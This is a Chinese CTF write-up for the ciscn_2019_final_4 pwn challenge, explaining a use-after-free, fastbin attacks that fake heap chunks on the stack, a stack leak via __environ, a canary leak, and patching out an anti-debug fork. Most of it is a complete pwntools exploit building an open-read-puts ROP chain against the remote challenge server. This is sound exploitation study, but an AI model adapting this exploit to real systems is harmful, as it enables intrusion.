ciscn_2019_final_4(反调试+在栈上伪造堆chunk)
程序的例行检查我就不放了,这道题我学到了从libc地址获取到栈地址的新思路
来源:(22条消息) ciscn_final_4(反调试+在栈上伪造堆chunk)_seaaseesa的博客-CSDN博客

程序漏洞很明显,uaf漏洞,这道题目开启了沙箱不允许,所以我们通过orw的方式获取到flag
这道题利用了俩个知识点,1在栈上面伪造chunk可以通过fastbin申请到栈上,从而可以实现栈控制 2 通过_environ获取到栈地址
这里重点讲一下 _environ ,_environ+libc_base获得的environ地址,这个地址存放着的是当前进程的环境变量,而这些环境变量通常都存放在栈里面,所以我们可以通过这个函数泄露出的环境变量加上固定偏移去获取栈地址
再讲一下这道题的一点:
因为程序是通过fork子进程去运行的,所以我们本地情况下无法动调,所以我们可以讲从call fork位置给他跳转过去,可以像ha1vk师傅博客一样进行跳转,也可以通过patch去修改,我这里推荐我使用的插件---keypatch
修改后再保存就会像我上面的图一样,程序跳转掉了fork等这些函数
完整exp:
因为我是跟着ha1vk师傅的博客再做,所以具体调试细节我就不放了
from pwn import *
#p = process('./ciscn_final_4')
p = remote('node4.buuoj.cn',28284)
elf = ELF('./ciscn_final_4')
libc = ELF('./libc-2.23.so')
def launch_gdb():
context.terminal = ['xfce4-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
def ls(index):
p.sendlineafter('>> ',str(index))
def add(size,content):
ls(1)
p.sendlineafter('size?',str(size))
p.sendafter('content?',content)
def free(index):
ls(2)
p.sendlineafter('index ?',str(index))
def show(index):
ls(3)
p.sendlineafter('index ?',str(index))
#launch_gdb()
fake_chunk = p64(0)+p64(0x81)
payload = b'a'*0xe8+fake_chunk
p.sendlineafter('name?',payload)
add(0x100,b'a'*0x100)#0
add(0x78,'a'*0x78)#1
add(0x78,'a'*0x78)#2
add(0x38,'a'*0x38)#3
add(0x38,'a'*0x38)#4
add(0x10,'a'*0x10)#5
add(0x81,'a'*0x81)#6
note_addr = 0x6020c0
heapsize6_addr = 0x602058
free(0)
show(0)
p.recvuntil('\n')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook']
environ_addr = libc_base + libc.sym['__environ']
print('libc_base--->'+hex(libc_base))
pop_rdi = libc_base + 0x21102
pop_rsi = libc_base + 0x202e8
pop_rdx = libc_base + 0x1b92
#add rsp,0x148 ;ret
add_rsp_148 = libc_base + 0x353aa
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
free(1)
free(2)
free(1)
add(0x78,p64(heapsize6_addr-0x8))#7
add(0x78,'a')#8
add(0x78,'b')#9
payload = b'\x00'*0x60+p64(environ_addr)
add(0x78,payload)#0
show(0)
p.recvuntil('\n')
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
fake_chunk_stack_addr = stack_addr - 0x120
print('stack_addr--->'+hex(stack_addr))
print('fake_chunk_stack_addr--->'+hex(fake_chunk_stack_addr))
free(1)
free(2)
free(1)
add(0x78,p64(fake_chunk_stack_addr))
add(0x78,'a')
add(0x78,'b')
add(0x78,b'a'*0x11)
show(14)
p.recvuntil('a'*0x11)
canary = u64(p.recv(7).rjust(8,b'\x00'))
print('canary--->'+hex(canary))
free(1)
free(2)
free(1)
add(0x78,p64(fake_chunk_stack_addr))
add(0x78,'a')
add(0x78,'a')
next_rop = fake_chunk_stack_addr + 0x88
#read(0,next,0x1000)
payload = b'a'*0x40+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(next_rop)+p64(pop_rdx)+p64(0x1000)+p64(read_addr)
add(0x78,payload)
fake_chunk_stack_addr2 = stack_addr -0x246
free(3)
free(4)
free(3)
add(0x38,p64(fake_chunk_stack_addr2))
add(0x38,'a')
add(0x38,'b')
payload = b'a'*0x6+p64(canary)+p64(0)+p64(add_rsp_148)
add(0x38,payload)
flag_addr = next_rop + 0x88
#open(0,flag,0)
rop = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdi)+p64(0)+p64(openat_addr)
#read(fd,flag,0x30)
rop+= p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(read_addr)
#puts(flag_addr)
rop+= p64(pop_rdi)+p64(flag_addr)+p64(puts_addr)
rop+= b'/flag\x00'
sleep(0.5)
p.send(rop)
p.interactive()
我倒是挺好奇的为什么这个题目的orw可以用puts去打印flag,而有的题目必须要write去打印
结束!!

浙公网安备 33010602011771号